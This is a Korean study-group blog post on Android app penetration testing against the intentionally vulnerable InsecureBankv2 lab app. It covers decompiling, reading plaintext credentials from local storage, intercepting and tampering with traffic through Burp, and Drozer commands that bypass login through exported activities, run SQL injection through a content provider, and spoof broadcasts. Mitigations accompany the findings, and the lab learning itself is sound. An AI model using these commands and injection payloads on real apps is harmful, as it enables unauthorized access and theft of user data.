강의 : 안드로이드 모바일 앱 모의해킹과 시큐어코딩
2주차 활동 : 섹션2 (안드로이드 취약점 분석 - 하드코딩, 디컴파일), 섹션3 (안드로이드 취약점 분석 - 내부, 외부 저장소 내 중요 정보 확인), 섹션4 (안드로이드 취약점 분석 - 취약한 로깅 매커니즘, 평문전송), 섹션5 (드로저(Drozer) 프레임워크를 활용한 취약점 분석)
안드로이드 취약점 분석 - 하드코딩, 디컴파일
1. 하드코드된 중요 정보 확인
하드 코딩
: 소스코드 내에 중요한 정보들이 정적으로 저장되어 있을 때 외부로 노출될 수 있는 취약점이 있는지 점검하는 것
- 취약점 소개
- 하드코드란 프로그램 소스 코드 내에 데이터를 직접 입력해서 저장하는 경우를 뜻함
- 중요한 정보(관리자 계정, 암호화키 등)가 소스 코드 내에 노출된 경우 취약점
- 개발 편의를 위해 입력받는 값을 소스 코드 내에 저장해서 발생하는 경우가 많음
- 안드로이드 앱은 디컴파일이 가능하여 중요 정보를 코드 내 주석 등으로 노출할 경우 쉽게 확인 가능
Ex. 소스코드 경로
C:\…\Android-InsecureBankv2-master\InsecureBankv2\app\src\main\java\com\android\insecurebankv2
- Jack이라는 Username에 대한 Password 정보
- 양방향 암호화 시 사용될 수 있는 키 값 정보
JADX
: Dex를 Java로 변환하는 디컴파일러
: 안드로이드 Dex 및 Apk 파일에서 Java 소스 코드를 생성하기 위한 명령줄 및 GUI 도구
- JADX 주요 특징
- 달빅 바이트 코드를 APK, dex, aar 및 zip 파일에서 자바 클래스로 디컴파일
- resources.arsc에서 AndroidManifest.xml 및 기타 리소스 디코딩
- deobfuscator 포함
- Jadx-gui 주요 특징
- 강조 표시된 문법으로 디컴파일된 문법 보기
- 선언된 코드로 이동
- 전체 텍스트 검색
- 실습
- 문자열 검색: Navigation > Text Search > Search for text
- secret key 문자열을 검색하면 복호화에 사용되는 키 값 확인
- 문자열 검색: Navigation > Text Search > Search for text
- 대응 방안
- 중요정보가 하드코드되지 않도록 제거해야함
- 중요한 키 값이 소스 코드 내에서 사용되어야 한다면, 해당 값은 암호화하여 보호해야함
- 개발자용 테스트 계정 등 개발에 사용한 정보에 주의를 기울여 개발해야 함
2. 안드로이드 앱 코드 분석
ℹ️ 디코딩 사전 준비
- 동적 분석
- 내부/외부 저장소, 로그캣, 패킷 정보
- 프로세스 정보
- 정적 분석(+코드 분석)
- APK 파일 ← dex+리소스+권한 ← smali 코드(byte 코드 형식) ← class 파일 ← Java(Kotlin) 파일
$ java -jar apktool_2.0.0.jar
$ java -jar apktool_2.0.0.jar d InsecureBankv2.apk //-d 옵션: 디코딩
- 비교
- zip 파일 압축 해제
- apk 파일 디코딩 (이때, classes.dex 파일이 smali 폴더로 해제됨)
- 불필요한 권한들도 하나의 취약점으로 분류할 것
Ex. 소스코드 경로
E:\…\실습_tools\apktool\InsecureBankv2\smali\com\android\insecurebankv2
$ d2j-dex2jar.bat //dex2jar는 클래스 파일부터 APK파일까지로 변환해주는 도구
$ jadx-gui //jadx는 자바 파일로 변환해주는 도구
$ Bytecode-Viewer.jar //Bytecode-Viewer는 분석 시간이 더 소요되지만 기능이 더 많음
3. GDA를 활용한 디컴파일 코드 분석 사례
GDA:
https://github.com/charles2gan/GDA-android-reversing-Tool
안드로이드 취약점 분석 - 내부, 외부 저장소 내 중요 정보 확인
1. 로컬 암호화 이슈, 취약한 SD카드 스토리지
- 취약점 소개
- 안드로이드에서는 온라인/오프라인을 통해 데이터를 처리할 수 있도록 로컬 스토리지 제공
- 애플리케이션 환경설정 정보, 외부 API 연동 및 인증을 위한 토큰 값, 연동 서버 정보 등을 로컬 스토리지에 저장
- 로컬 스토리지에 데이터를 저장하는 경우 보안을 고려하지 않으면 평문 형태의 파일 로 저장
- 애플리케이션에서 저장되는 파일이나 데이터는 소유자만 접근 하도록 제한
- 공격자가 접근 제한을 우회하거나 권한 상승에 성공하는 경우 평문으로 저장된 데이터 획득 가능
- 데이터 저장
- 데이터를 저장하는 것은 많은 모바일 앱에서 필수적
- 일부 앱은 데이터 저장소를 사용하여 사용자 설정 또는 사용자 제공 데이터를 추적
- 안드로이드 플랫폼에서 널리 사용되는 저장소 기술 목록
Shared Preferences: 안드로이드 앱 설정과 관련된 파일(Ex. ID/PW, 사용자 토큰 정보 등)
- key-value 쌍으로 앱의 환경설정을 저장하는 데 사용되는 XML 파일
- 일반적으로 boolean, float, int, long, string 의 타입을 가짐
- MODE_WORLD_READABLE를 사용하면 모든 애플리케이션이 XML 파일에 접근 가능
- MODE_WORLD_READABLE 및 MODE_WORLD_WRITEABLE은 Android 4.2(API Level 17)부터 더 이상 사용되지 않아, android:targetSdkVersion 값이 17보다 작은 애플리케이션은 영향을 받음
SharedPreferences sharedPref = getSharedPreferences("key", MODE_WORLD_READABLE);
SharedPrefenences.Editor editor = sharedPref.edit();
editor.putString("username","administrator");
editor.putString("password","supersecret");
editor.commit();
- 앱에서 액티비티가 호출되면 key.xml 파일에 제공된 데이터가 작성됨
- 사용자 이름과 비밀번호는 아래 파일에 일반 텍스트로 저장
- /data/data/<package-name>/shared_prefs/key.xml
- MODE_WORLD_READABLE을 사용하면 모든 애플리케이션이 key.xml의 컨텐츠에 접근 가능
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="username">administrator</string>
<string name="password">supersecret</string>
</map>
SQLite Databases: 데이터베이스
- 모바일 환경에서 일반적으로 사용되는 경량 파일 기반 데이터베이스
- key와 value로 구성되어 있으며 별도의 애플리케이션 없이 사용 가능
- 안드로이드 SDK는 SQLite 데이터베이스를 기본적으로 지원함
- 특정 애플리케이션의 SQLite 데이터베이스에 저장된 데이터는 기본적으로 안드로이드 보안 제한으로 인해 다른 애플리케이션에 접근할 수 없음
- 데이터베이스를 관리하는 데 사용되는 기본 패키지는 android.database.sqlite 입니다.
- 두 가지 종류인 Unencrypted & Encrypted로 나눠볼 수 있음
- 암호화되지 않은 일반 텍스트가 저장됨
- 액티비티가 호출되면 제공된 데이터로 privateNotSoSecure 데이터베이스 파일이 작성
- 아래 경로의 일반 텍스트 파일에 저장
- /data/data/<package-name>/databases/privateNotSoSecure
- MODE_PRIVATE를 사용하여 접근 설정
SQLiteDatabase notSoSecure = openOrCreateDatabase("privateNotSoSecure", MODE_PRIVATE, null);
notSoSecure.execSQL("CREATE TABLE IF NOT EXISTS Accounts(Username VARCHAR, Password VARCHAR);");
notSoSecure.execSQL("INSERT INTO Accounts VALUES('admin','AdminPass');");
notSoSecure.close();
2. 안드로이드 앱 내부 저장소 진단
C:/... > nox_adb shell
# cd /home
/system/bin/sh: cd: /home: No such file or directory
# cd /data/data
~:/data/data # ls
com.android.@@@(도메인명)
(생략)
~:/data/data # cd com.android.insecurebankv2
~:/.../com.android.insecurebankv2 # ls -al
drwxrwx--x u0_a36 u0_a36 2024-03-13 02:34 cache
drwxrwx--x u0_a36 u0_a36 2024-03-13 02:34 databases
lrwxrwxrwx install install 2024-03-13 02:34 lib -> /data/app-lib/com.android.insecurebankv2
drwxrwx--x u0_a36 u0_a36 2024-03-13 02:36 shared_prefs
~:/.../com.android.insecurebankv2 # cd shared_prefs
~:/.../shared_prefs # ls -al
-rw-rw---- u0_a36 u0_a36 166 2024-03-13 02:35 com.android.insecurebankv2_preferences.xml
-rw-rw---- u0_a36 u0_a36 209 2024-03-13 02:36 mySharedPreferences.xml
~:/.../shared_prefs # cat mySharedPreferences.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="serverport">8888</string>
<string name="serverip">192.168.10.106</string>
</map>
at mySharedPreferences.xml <
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="EncryptedUsername">ZGluZXNo
</string>
<string name="superSecurePassword">DTrW2VXjSoFdg0e61fHxJg==
</string>
</map>
~:/.../com.android.insecurebankv2 # cd databases
~:/.../databases # ls -al
-rw-rw---- u0_a38 u0_a38 20480 2024-03-15 03:35 mydb
-rw------- u0_a38 u0_a38 8720 2024-03-15 03:35 mydb-journal
Base64 Decode
<string name="EncryptedUsername">ZGluZXNo
SQLite for mydb
- 응용 프로그램의 권한 관리
- 안드로이드에 설치된 모든 응용 프로그램은 일반 사용자 권한으로 실행됨
- 응용 프로그램이 사용자의 데이터에 접근할 때 모든 사항을 응용 프로그램 사양에 명시
- 접근 시 사용자의 동의를 받도록 하고 있음(응용 프로그램 설치 시 동의 절차)
- 모든 응용 프로그램은 설치 시 자신의 고유한 사용자 ID를 할당 받아서 동작
Cf. 비유
- 개인 방 (E.g. /data/data)
- Internal Storage (내부 저장소)
- 중요한 정보가 포함이 되어야 함
- 암호화가 되어야 함. (단, 강한 암호(Ex. SHA256 등)을 사용)
- ID는 평문 저장 가능하다.
- 거실 (E.g. /sdcard)
- External Storage (외부 저장소)
- 앱 설치 디렉터리 확인 (환경에 따라 다름)
디렉터리 | 설명 |
/data/data/<package> | 설치 앱 패키지 경로 |
/data/data/<package>/files | 관리자가 내부적으로 사용하는 파일을 저장(so 파일, data 파일, ini 파일 등이 포함됨) |
/data/data/<package>/lib | 애플리케이션에 요청하는 라이브러리 파일 저장(so 파일이 존재함) |
/data/data/<package>/databases | 설정 파일, 컨텐츠 파일 등의 쿼리 정보가 포함된 SQL lite DB 파일(db 파일이 존재함) |
/data/data/<package>/cache | 쓰기/읽기 권한이 있고 브라우저 캐시같이 일시적인 사용자의 상태 정보가 포함 |
/data/data/<package>/shared_prefs | XML 파일로 저장이 되며, 앱에 공유되는 설정 파일 |
/data/app | 사용자에 의해 설치된 앱 경로 |
/system/app | 시스템에 의해 미리 설치된 앱 경로 |
/mnt/sdcard 또는 /sdcard | External/Internal SD Card 경로 |
C:/... > nox_adb uninstall 000 //uninstall 패키지명: 패키지 삭제
Success
C:/... > nox_adb push //push: PC에 있는 데이터를 모바일로 이동 (install은 apk 파일을 설치하는 명령어)
C:/... > nox_adb pull 000 //pull 절대경로: push의 정반대 개념으로, 절대경로의 디렉터리에 있는 정보들을 모두 가져옴
3. 안드로이드 앱 외부 저장소 진단
~:/mnt/sdcard # ls -al
drwxrwx--- root sdcard_r 2023-02-06 14:42 Alarms
drwxrwx--x root sdcard_r 2023-02-06 14:42 Android
drwxrwx--- root sdcard_r 2024-03-15 03:35 Apps
drwxrwx--- root sdcard_r 2023-02-06 14:42 DCIM
drwxrwx--- root sdcard_r 2024-03-09 16:45 Download
drwxrwx--- root sdcard_r 2023-02-06 14:42 Movies
drwxrwx--- root sdcard_r 2023-02-06 14:42 Music
drwxrwx--- root sdcard_r 2023-02-06 14:42 Notifications
drwxrwx--- root sdcard_r 2024-03-13 02:34 Pictures
drwxrwx--- root sdcard_r 2023-02-06 14:42 Podcasts
drwxrwx--- root sdcard_r 2023-02-06 14:42 Ringtones
//Apps에는 SD 카드에 저장할 일이 있는 정보들이 저장될 수 있음
안드로이드 취약점 분석 - 취약한 로깅 매커니즘, 평문전송
1. 취약한 로깅 메커니즘 이해와 로그캣(Logcat) 정보
- 취약점 소개
- 로그는 실행 중에 발생하는 프로그램의 이벤트, 통신 기록 등을 나타냄
- 로그를 사용하여 장애원인 분석이나, 프로그램을 개발 또는 유지보수 하는 데 유용하게 사용됨
- 취약한 로깅 매커니즘은 로그 기록에 노출되면 안되는 중요한 데이터가 기록되는 경우
- 안드로이드 스튜디오에서 제공하는 logcat을 사용하여 진단
- 로그캣(Logcat)을 이용한 정보 확인
- 로그캣(Logcat) 정보 내에 중요 정보 평문 노출
1. $ nox_adb logcat //이를 통해 외부에서도 통신 상에서 필요한 정보 획득 가능
2. $ nox_adb shell //쉘 안에 진입
root@username:/ #logcat
- 로그캣 메시지 유형 및 설명
메시지 유형 | 설명 |
V | Verbose(중요하지 않은 정보) |
D | Debug(디버그 정보) |
I | Information(일반 정보) |
W | Warning(경고 정보) |
E | Error(에러 정보) |
F | Fatal(중요한 정보) |
S | Silent(가장 높은 우선순위의 정보) |
- 주요 옵션
옵션 | 설명 |
-s | 모든 태그의 우선순위를 ‘silent’로 설정하는 필터 표현식 ‘*:S’와 동일 |
-c | 로그 전체를 삭제한다 |
-d | 로그를 스크린에 덤프한다 |
-f 파일이름 | 지정한 파일이름에 로그를 저장한다 |
-g | 로그 버퍼의 사이즈를 가져오고 종료한다 |
-v 포맷 | 로그 메시지의 포멧을 설정한다. 기본은 brief 포멧이다. |
애플리케이션 로그 출력
- 실행중인 애플리케이션 프로세스 번호 확인
$ adb shell ps | grep com.android.insecurebankv2 | awk "{print $2}"
4646
- 확인한 프로세스 번호로 로그 검색
$ adb logcat | grep 4646
I/art (4646): Late-enabling-Xcheck:jni
...
2. 안드로이드 dumpsys 패키지 정보 확인
> nox_adb shell pm list packages //설치된 모든 패키지 리스트에 대해 출력
> nox_adb shell pm list packages -3 //서드파티(사용자가 나중에 설치했던 앱)만 출력
> nox_adb shell dumpsys package //설치된 모든 패키지의 정보에 대해 확인
> nox_adb shell dumpsys package [패키지명] //[패키지명] 패키지의 정보에 대해 확인
> nox_adb shell dumpsys activity //설치된 모든 패키지의 activity에 대해 확인
> nox_adb shell dumpsys activity activities | findstr [패키지명] //[패키지명] 패키지의 정보에 대해 확인
3. 녹스(Nox)에서 앱 SSL 자격증명 설치
- BurpSuite
- [Proxy] - [Option] - [Proxy Listeners] - [Edit]에서 All interfaeces로 변경
- [Proxy] - [Option] - [Intercept Client Requests]에서 Intercept requests… 체크
- Nox
- 인터넷에서 http://burp 미리 연결
- [Tools] - [설정] - [Wi-Fi] - “WiredSSID”를 마우스 왼쪽으로 길게 누르기 - [네트워크 수정] - [고급 옵션] - [프록시 수동]에서
- “프록시 호스트 이름”에 PC의 IPv4 주소 입력
- “프록시 포트”에 8080 입력
//기기가 여러 대인 경우
> nox_adb devices
List of devices attached
[IP 주소 1]:[번호 1] device
[IP 주소 2]:[번호 2] device
> nox_adb -s [IP 주소 1]:[번호 1] shell
> nox_adb shell
root@shamu:/ # cd /mnt/sdcard/download
root@shamu:/mnt/sdcard/download # ls
cacert.der
root@shamu:/mnt/sdcard/download # cp cacert.der burp.cer
- [Tools] - [설정] -[보안] - [신뢰할 수 있는 자격증명] - [사용자] - [PortSwigger]
- [Tools] - [설정] -[보안] - [SD 카드에서 설치] - [다운로드] - “burp.cer” 클릭 - [암호] - “PIN 번호: 1234”
4. 통신과정 암호화 통신 여부 확인
취약한 HTTP 통신 — 중요정보 평문 전송
4.1 와이어샤크 활용
- [Capture] - [Options] - … 혹은 “본인이 연결한 인터넷” 선택
- 연두색 패킷: HTTP 통신
4.2 버프스위프트 프록시 활용
POST /getaccounts HTTP /1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Host: [IP 주소]:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
username=jack&password=1q2w3e%21%40%23QWE //ID와 PW
모든 정보가 노출되어 있다는 점에서 암호화 통신을 하지 않는다는 점을 유추 가능.
5. 통신과정 파라미터 조작을 통한 인증 우회
파라미터 조작 - 계좌 이체 금액 변조&취약한 비밀번호 변경 로직
- 취약점 소개
- 클라이언트와 서버가 통신할 때 중간에 패킷을 가로채서 파라미터를 변조하는 취약점
- 정상적인 요청 값을 공격자가 변조하여 정보 유출 등의 피해가 생김
- 또한, 파라미터 조작을 통해 인증 우회도 가능
- 계좌 이체 파라미터 조작
- 계좌번호와 금액을 입력하고 Transfer 버튼 클릭
- Transfer 기능을 사용할 때 프록시 도구를 이용하여 패킷 정보 확인
- 이체할 금액을 변조하여 전송
- 변조한 패킷에서는 77777 금액이 전송되었지만 ViewStatement에서는 변조 전 데이터인 35000인 것을 확인
POST /dotransfer HTTP /1.1
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
Host: [IP 주소]:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
username=jack&password=1q2w3e%21%40%23QWE&from_acc=999999999&to_acc=555555555&amount=10000
인증 처리 쪽이 미흡하다는 점을 악용할 수 있음 → 파라미터 조작은 인증 처리 및 접근 제어와 연관성이 있다
- 비밀번호 변경
- 인시큐어뱅크 로그인 후 비밀번호 변경 기능을 사용할 때 발생하는 취약점으로, 다른 사용자의 비밀번호 변경이 가능한 취약점
- 실제 모의해킹에서 충분히 발생할 수 있는 취약점 중에 하나
- 대량의 사용자 비밀번호 변경으로 개인정보 및 금융정보 등을 확인할 수 있는 크리티컬한 취약점
요약
- 다른 사용자의 게시물의 권한 획득 (수정, 삭제)
- 다른 사용자의 이름으로 게시물을 작성
- 다른 사용자의 중요 정보 (개인 수정 페이지, 이력서 페이지 등)
- 무료 사용자가 유료 콘텐츠에 접근이 가능할까?
- 대응방안
- 파라미터 값을 암호화하여 조작 불가능하도록 해야 함
- 세션 값 검증을 통해 다른 사용자 계정에 대한 조작이 불가능하도록 해야 함
- 파라미터 조작을 통한 입력 값에 대한 유효성 검증은 서버에서 검증하도록 해야 함
- 비밀번호 변경 기능을 사용할 때 아이디로만 인증하는 것이 아닌 이전 비밀번호도 포함하여 인증하도록 강화해야 함
- 또한, 비밀번호 변경 시 통신은 HTTP가 아닌 HTTPS로 통신하도록 암호화 적용이 필수
드로저(Drozer) 프레임워크를 활용한 취약점 분석
1. 드로저(Drozer) 이해와 아나콘다 환경 설치 방법
드로저란?
: 드로저(Drozer)는 MWR InfoSecurity에서 개발한 모바일 애플리케이션 취약점 진단 프레임워크인 Mercury의 새로운 업데이트 버전
: 드로저는 가상 디바이스 뿐만 아니라 실제 안드로이드 디바이스에 테스트가 가능하며 자동화된 테스팅이 가능
: 안드로이드 익스플로잇을 통한 취약점 진단이 가능하기 때문에 다양한 시나리오를 통해 취약점 점검이 가능
🔗 https://github.com/WithSecureLabs/drozer
$ conda activate py2.
7
$ drozer
> nox_adb forward tcp:31415 tcp:31415 //내부와 외부의 포트 연결
$ pip install protobuf pyOpenSSL twisted service_identity
$ drozer console connect
# dz > list
# dz > run app.package.list -f insecure
com.android.insecurebankv2 (InsecureBankv2)
# dz > run app.package.info -a com.android.insecurebankv2 //패키지 정보 안에서 획득한 정보 출력
2. 드로저 프레임워크 기본 명령 확인
$ drozer console connect
#설치된 패키지 목록 확인
dz> list //drozer가 사용할 수 있는 모듈들을 리스트로 출력
#특정 단어로 설치된 패키지 확인
dz> run app.package.list -f insecure //-f [string to be searched]
com.android.insecurebankv2 (InsecureBankv2)
#
dz> run app.package.list -a com.android.insecurebankv2
Package: com.android.insecurebankv2
Application Label: InsecureBankv2
Process Name: com.android.insecurebankv2
Version: 1.0
Data Directory: /data/data/com.android.insecurebankv2
APK Path: /data/app/com.android.insecurebankv2-1/base.apk
...
Uses Permissions: //유저 권한
- android.permission.INTERNET
- android.permission.WRITE_External_STORAGE
...
#
dz> run app.package.manifest com.android.insecurebankv2
<manifest versionCode="1"
versionName="1.0"
...
#자동화 분석
dz> run app.package.attacksurface com.android.insecurebankv2
Attack Surface:
5 activities exported
1 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable
3. 취약한 인증 매커니즘 액티비티 노출 취약점 분석
- 취약점 소개
- 정상적인 인증 절차를 우회하여 비정상적으로 인증 권한 획득
- OWASP Mobile Top 10 2014-M5에 해당
- 적절하지 않은 앱 퍼미션 설정 여부
- 서비스 권한 상승 행위에 대한 통제 여부
- 기능에 대한 제한 또는 우회 금지 여부
- 불필요하거나 사용하지 않는 액티비티 제거 여부
- 인텐트 사용에 대한 안전성 여부
- 마스터 키 취약점 대응 여부
#ADB
root@000:/ #am start com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
#Drozer
dz> run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack
- 로그인 없이 인증 우회(ADB)
- adb를 이용하여 인증 이후에 실행되는 액티비티 강제 실행
- exported 속성이 true인 경우 실행 가능
C:\> adb shell am start
com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
- 로그인 없이 인증 우회(Drozer)
- drozer를 이용하여 인증 이후에 실행되는 액티비티 강제 실행
- exported 속성이 true인 경우 실행 가능
- 애플리케이션의 액티비티 정보 확인
dz> run app.activity.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
com.android.insecurebankv2.LoginActivity
Permission.null
com.android.insecurebankv2.PostLogin
Permission.null
com.android.insecurebankv2.DoTransfer
Permission.null
com.android.insecurebankv2.ViewStatement
Permission.null
com.android.insecurebankv2.ChangePassword
Permission.null
dz> run app.activity.info //현재 시뮬레이터 안에 설치된 모든 앱들의 정보 출력
dz> run app.acitiviy.info --filter insecure
dz> run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
4. 취약한 콘텐츠 프로바이더 분석
- 취약점 소개
- 콘텐츠 프로바이더는 다른 애플리케이션에서 데이터베이스나 파일에 접근 가능하도록 인터페이스 제공
- 콘텐츠 프로바이더에 접근하기 위해 URI와 ContentResolver 필요
- 애플리케이션은 ContentResolver를 이용하여 콘텐츠 프로바이더에 접근 가능하며 URI를 이용
- 콘텐츠 프로바이더가 외부에 노출된 경우 외부에서 접근하여 데이터를 조회하거나 변경 가능
- 콘텐츠 프로바이더 확인
- 애플리케이션의 콘텐츠 프로바이더는 Androidmanifest.xml의 <provider> 요소에 정의
- 콘텐츠 프로바이더 주소인 URI는 “content://authority/path”와 같은 형식으로 구성
- Authority는 콘텐츠 프로바이더의 주소, path는 데이터 위치에 대한 정보를 의미
- 제공자 클래스 이름(android:name): ContentProvider를 구현하는 클래스
- 권한(android:authorities): 시스템 내에서 제공자 전체를 식별하는 상징적 이름
- 시작 및 제어 특성(android:exported): 다른 애플리케이션이 이 제공자를 사용할 수 있게 해주는 플래그로, true로 설정된 경우 외부에 노출
<provider
android:name=".TrackUserContentProvdier"
android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
android:exported="true"
</provider>
콘텐츠 프로바이더 취약점 확인(ADB)
- 콘텐츠 프로바이더를 이용하여 데이터에 접근하기 위해 URI 필요
- content:// 콘텐츠 URI로 식별
- user_dictionary 제공업체의 권한
- words 테이블의 경로
content://user_dictionary/words
- 인시큐어뱅크의 URI를 확인하기 위해 디컴파일 후 “content://”가 포함된 항목 검색
- TrackUserContentProvider.smail파일에서 “content://” 발견
- content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
> nox_adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
Row: 0 id=1, name=dinesh
...
Row: 5 id=5, name=jack
...
콘텐츠 프로바이더 취약점 확인(Drozer)
- drozer에서 콘텐츠 프로바이더를 통해 SQL Injection 공격
- 로컬 스토리지에 포함된 데이터베이스 사용
- SQL Injection 공격 가능 확인을 위해 --projection 옵션 뒤에 싱글쿼터(’) 삽입
- 쿼리문: SELECT <projection> FROM …
- 에러 메시지가 출력되었으며 메시지 안에 데이터 조회를 위한 쿼리 일부 포함
dz> run app.provider.query [uri] --projection [columns[...]]
dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers "'"
unrecognized token: "' FROM name ORDER BY name" (code 1):, while compiling: SELECT 'FROM name ORDER BY name
- 데이터베이스에 포함된 테이블 목록 확인
- “ * from SQLITE_MASTER where type=’table’;--” 구문을 추가하여 테이블 목록 확인
- URI를 통해 확인했던 names 칼럼 포함 확인
dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers --projection “ * from SQLITE_MASTER where type=’table’;--”
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | names | names | 4 | CREATE TABLE name (id INTECER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL) |
| table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name, seq)
- 데이터베이스에 포함된 테이블 중 names 테이블 출력
- “ * from names;--” 구문을 추가하여 names 테이블 출력
- URI를 이용해 출력했던 내용과 동일한 결과 출력
- Insert, delete 등의 쿼리 전송 가능
dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers --projection “ * from names;--”
| id | name |
| 1 | dinesh |
| 2 | dinesh |
| 3 | dinesh |
- 대응방안
- Androidmanifest.xml에 선언된 android:exported 속성을 false로 설정
- false로 설정된 경우 외부의 영향을 받지 않음
- False로 설정된 콘텐츠 프로바이더에 강제로 요청하는 경우 “Permission Denial” 메시지 출력
dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
Permission Denial: opening provider
com.android.insecurebankv2.TrackUserContentProvider from ProcessRecord{3fa531ad 3500:com.mwr.dz:remote/u0a38} (pid=3500, uid=10038) that is not exported from uid 10036
연습 문제 - DIVA
🔗 11. Access Control Issues - PART3
- 외부에서 중요한 내부 데이터 조회
dz> run app.provider.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
Authority: com.android.insecurebankv2.TrackUserContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.android.insecurebankv2.TrackUserContentProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
dz> scanner.provider.finduris -a com.android.insecurebankv2
...
Accessible content URIs:
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers/
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
| id | name |
| 1 | dinesh |
| 2 | dinesh |
| 3 | dinesh |
| 4 | dinesh |
| 9 | dinesh |
| 5 | jack |
| 6 | jack |
| 7 | jack |
| 8 | jack |
dz>
5. 취약한 브로드캐스트 리시버 분석
- 취약점 소개
- 브로드캐스트 리시버는 디바이스에서 발생하는 이벤트 신호를 받아 처리하는 역할
- 애플리케이션의 브로드캐스트 리시버에서 신호를 받아 정해진 작업 수행
- Androidmanifest.xml의 <receiver></receiver> 항목에 정의
- 공격자는 임의의 브로드캐스트 신호를 생성하여 사용자가 받는 알림(메시지, 전화 등)을 가로채거나, 특정 상황에 발생하는 작업을 우회하여 수행 가능
- 브로드캐스트 리시버 확인
- Androidmanifest.xml에 선언된 브로드캐스트 리시버 확인
- 브로드캐스트 리시버 클래스: .MyBroadCastReceiver
- 브로드캐스트 이름: theBroadcast
- android:exported: 외부 애플리케이션으로부터 intent 수신 가능
- 정의된 MyBroadCastReceiver 메소드 확인(MyBroadCastReceiver.class)
- 비밀번호 업데이트를 알리는 SMS를 보내는 기능을 함
- Androidmanifest.xml에 선언된 브로드캐스트 리시버 확인
<receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver" android:exported="true">
<intent-filter>
<action android:name="theBroadcast"/>
</intent-filter>
</receiver>
- 브로드캐스트 생성 (ADB)
- ADB를 이용하여 브로드캐스트 생성
- Logcat으로 확인한 결과, “Phone number is null” 메시지 출력
$ adb shell am broadcast -a [action] -n [package name/component name]
$ adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver
Broadcasting: Intent { act=theBroadcast cmp=com.android.insecurebankv2/.MyBroadCastReceiver }
Broadcast completed: result=0
> nox_adb logcat
D/AndroidRuntime( 4221):>>>>>>> START com.android.internal.os.RuntimeInit uid 0 <<<<<<<
D/AndroidRuntime( 4221): CheckJNI is OFF
W/ ( 4221): Failed to bind-mount /system/lib/x86/cpuinfo as /proc/cpuinfo: No such file or directory
E/ ( 4221): Cannot create code cache directory ./code_cache: Read-only file system.
E/memtrack(4221): Couldn't load memtrack module (No such file or directory)
E/android.os.Debug(4221): failed to load memtrack module: -2
D/AndroidRuntime(4221): Calling main entry com.android.commands.am.Am
I/System.out(3422): Phone number is null
D/AndroidRuntime(4221): Shutting down VM
- ADB를 이용하여 파라미터가 포함된 브로드캐스트 생성
- 파리미터가 포함되어 정상 처리 (-e 옵션 사용)
- Logcat으로 확인한 결과, 기존에 사용하던 비밀번호가 평문으로 노출되는 것을 확인
$ adb shell am broadcast -a [action] -n [package name/component name] -e <KEY><VALUE>
$ adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver -e phonenumber 5555 -e newpass test
Broadcasting: Intent { act=theBroadcast cmp=com.android.insecurebankv2/.MyBroadCastReceiver (has ...) }
Broadcast completed: result=0
> nox_adb logcat
D/AndroidRuntime( 5172):>>>>>>> START com.android.internal.os.RuntimeInit uid 0 <<<<<<<
D/AndroidRuntime( 5172): CheckJNI is OFF
W/ ( 5172): Failed to bind-mount /system/lib/x86/cpuinfo as /proc/cpuinfo: No such file or directory
E/ ( 5172): Cannot create code cache directory ./code_cache: Read-only file system.
E/memtrack(5172): Couldn't load memtrack module (No such file or directory)
E/android.os.Debug(5172): failed to load memtrack module: -2
D/AndroidRuntime(5172): Calling main entry com.android.commands.am.Am
I/System.out(5086): For the changepassword -phonenumber: 12345 password is: Updated Passowrd from: Dinesh@123$ to: test => 취약점
D/AndroidRuntime(5172): Shutting down VM
- 브로드캐스트 생성 (Drozer)
dz> run app.broadcast.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
Authority: com.android.insecurebankv2.MyBroadCastReceiver
Read Permission: null
dz> run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 12345 --extra string newpass test
'4-2. 2024-1 심화 스터디 > 안드로이드 모의해킹' 카테고리의 다른 글
[7주차] 블레이드러너 - 안드로이드 모의해킹 (0) | 2024.06.01 |
---|---|
[6주차] 블레이드러너 - 안드로이드 모의해킹 (0) | 2024.05.16 |
[5주차] 블레이드러너 - 안드로이드 모의 해킹 (0) | 2024.05.14 |
[3주차] 블레이드러너- 안드로이드 모의해킹 (0) | 2024.04.04 |
[1주차] 블레이드러너 - 안드로이드 모의해킹 (0) | 2024.03.22 |